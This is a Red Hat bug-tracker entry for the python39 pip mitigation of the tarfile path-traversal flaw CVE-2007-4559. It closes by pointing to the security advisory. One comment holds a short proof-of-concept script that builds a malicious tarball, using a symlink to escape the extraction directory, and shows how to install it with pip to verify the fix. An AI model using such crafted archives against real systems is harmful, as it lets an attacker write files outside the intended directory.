Bug 2218275
| Summary: | CVE-2007-4559 python39:3.9/python3x-pip: Python tarfile extraction needs change to avoid a warning (mitigation) [rhel-8.9.0] | ||
|---|---|---|---|
| Product: | Red Hat Enterprise Linux 8 | Reporter: | Charalampos Stratakis <cstratak> |
| Component: | python3x-pip | Assignee: | Petr Viktorin (pviktori) <pviktori> |
| Status: | CLOSED ERRATA | QA Contact: | Lukáš Zachar <lzachar> |
| Severity: | medium | Docs Contact: | |
| Priority: | medium | ||
| Version: | 8.9 | CC: | cstratak, mcascell, pviktori, python-maint, rhel-cs-apps-subsystem-qe |
| Target Milestone: | rc | Keywords: | Security, SecurityTracking, Triaged |
| Target Release: | --- | ||
| Hardware: | Unspecified | ||
| OS: | Unspecified | ||
| Whiteboard: | |||
| Fixed In Version: | python39-3.9-8090020230810143808.7484f1d1 | Doc Type: | No Doc Update |
| Doc Text: | Story Points: | --- | |
| Clone Of: | 2218267 | Environment: | |
| Last Closed: | 2023-11-14 15:35:53 UTC | Type: | Bug |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | |||
| Bug Blocks: | 263261 | ||
|
Comment 1
Charalampos Stratakis
2023-08-09 23:37:41 UTC
Verified through the PR with:
"""
import tarfile
def mkinfo(name, **kwargs):
tarinfo = tarfile.TarInfo(name=name)
for name, value in kwargs.items():
setattr(tarinfo, name, value)
return tarinfo
with tarfile.open('evil.tar.gz', 'w:gz') as tf:
tf.addfile(mkinfo('./pyproject.toml'))
tf.addfile(mkinfo('./tmp', type=tarfile.SYMTYPE,
linkname='../../../../../../../../tmp'))
tf.addfile(mkinfo('./tmp/poc'))
"""
And then run python3.9 -m pip install evil.tar.gz
On an unpatched pip the evil.tar.gz will install successfully.
On a fixed/patched one a "tarfile.OutsideDestinationError: 'tmp/poc' would be extracted to '/tmp/poc', which is outside the destination" will appear.
Since the problem described in this bug report should be resolved in a recent advisory, it has been closed with a resolution of ERRATA. For information on the advisory (Moderate: python39:3.9 and python39-devel:3.9 security update), and where to find the updated files, follow the link below. If the solution does not work for you, open a new bug report. https://access.redhat.com/errata/RHSA-2023:7034 |